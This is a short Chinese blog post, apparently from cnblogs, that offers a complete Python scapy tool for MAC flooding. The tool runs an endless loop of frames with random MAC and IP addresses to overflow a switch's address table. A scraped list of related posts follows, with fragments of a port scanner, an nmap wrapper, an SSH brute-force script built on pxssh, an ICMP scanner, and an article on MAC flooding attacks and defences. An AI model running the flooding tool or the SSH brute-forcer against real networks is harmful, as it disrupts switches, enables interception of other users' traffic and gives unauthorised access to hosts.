Python3 小工具-MAC泛洪

from scapy.all import *
import optparse

def attack(interface):
    pkt=Ether(src=RandMAC(),dst=RandMAC())/IP(src=RandIP(),dst=RandIP())/ICMP()
    sendp(pkt,iface=interface)

def main():
    parser=optparse.OptionParser("%prog "+"-i interface")
    parser.add_option(‘-i‘,dest=‘interface‘,default=‘eth0‘,type=‘string‘,help=‘Interface‘)
    (options,args)=parser.parse_args()
    interface=options.interface
    try:
        while True:
            attack(interface)
    except KeyboardInterrupt:
        print(‘-------------‘)
        print(‘Finished!‘)
if __name__==‘__main__‘:
    main()

使用说明

开始程序

成功获取信息

github:https://github.com/zmqq/pytools/tree/master/macof

原文地址:https://www.cnblogs.com/zmqqq/p/10524780.html

时间: 2024-10-31 18:29:50

Python3 小工具-MAC泛洪的相关文章

python3 小工具

扫描IP的端口是否开放:Porttest.py 1 # -*- coding: utf-8 -*- 2 import sys 3 import os 4 import socket 5 6 #扫描 7 def scanport(ip,port): 8 try: 9 socket.setdefaulttimeout(2) 10 s=socket.socket() 11 s.connect((ip,port)) 12 portrecv=s.recv(1024) 13 return portrecv

Python3小工具——结合nmap扫描

一.工具说明 调用nmap库实现端口扫描 二.演示一下的利用效果 三.代码+注释 import nmap import argparse def nmapScan(Host, Port):     # 调用nmap的PortScanner类     nm = nmap.PortScanner()     # 使用scan方法进行扫描     results = nm.scan(Host, str(Port))     state = results['scan'][Host]['tcp'][Po

Python3小工具——暴力破解ssh

一.工具说明 利用pxssh库进行暴力破解ssh 二.演示一下的利用效果 三.代码+注释 from pexpect import pxssh import argparse import threading maxConnetions = 5 connect_lock = threading.BoundedSemaphore(value=maxConnetions) def connect(host, user, password):     try:         s = pxssh.pxs

Python3 小工具-ICMP扫描

from scapy.all import * import optparse import threading import os def scan(ipt): pkt=IP(dst=ipt)/ICMP() res=sr1(pkt,timeout=0.1,verbose=0) if res: print(ipt,' is online') def main(): parser=optparse.OptionParser("%prog "+"-t <target>

开源一个Mac漂亮的小工具 PPRows for Mac, 在Mac上优雅的计算你写了多少行代码

开源一个Mac漂亮的小工具 PPRows for Mac, 在Mac上优雅的计算你写了多少行代码. 开源地址: https://github.com/jkpang/PPRows

cheatsheet——mac 上的一款可以显示软件所有快捷键的小工具

https://www.mediaatelier.com/CheatSheet/ 发现一款可以显示 mac 上各种软件所有快捷键的小工具:cheatsheet,只要长按 command 键就可以了~ 快快下载下来试试吧!!

最火Python3 玩转实用小工具

第1章 课程介绍介绍课程的主要内容,课程内容安排.1-1 最火python3玩转实用小工具课程导学. 试看 第2章 自主研发-购书比价工具首先做好知识储备,讲解JSON.xpath.requests等用法以及字符串的高级用法.然后结合所学知识逐步分析当当.淘宝.京东.1号店的数据结构,实现数据爬取,再对数据进行整合,排序,实现效果.最后对代码进行review,引入一道面试题,深入讲解python对象相关知识点....2-1 课程概要及环境搭建 试看2-2 json知识点学习 试看2-3 xpat

Python 小工具集合

PyTools Python小工具的集合,工具彼此间无联系.基于Python 3.4. Github 地址: https://github.com/ChenZhongPu/PyTools 目前实现了: 查看新闻 查看微博 发布微博 搜索1024网站 Usage 查看新闻 python3 App.py news 使用腾讯新闻的RSS源. 查看微博 python3 App.py weibo 使用了Yahoo pipes.你需要得到要查看用户的微博ID, "` Hanhan's weibo accou

MAC泛洪攻击的实施与防御

原文发表于2017年第7期<网络安全与信息化>,转发到博客. 更多相关资料可参看视频教程"局域网安全实战",http://edu.51cto.com/course/10348.html MAC泛洪攻击是一种针对局域网交换机的攻击方式,目的在于窃取局域网内用户的通信数据.本文以神州数码CS6200交换机为例,从原理.实施.防御三个方面对MAC泛洪攻击进行了全面介绍. 1.    交换机的MAC地址表 交换机的主要功能是在局域网内的主机之间转发数据帧.交换机接收从主机上传来的比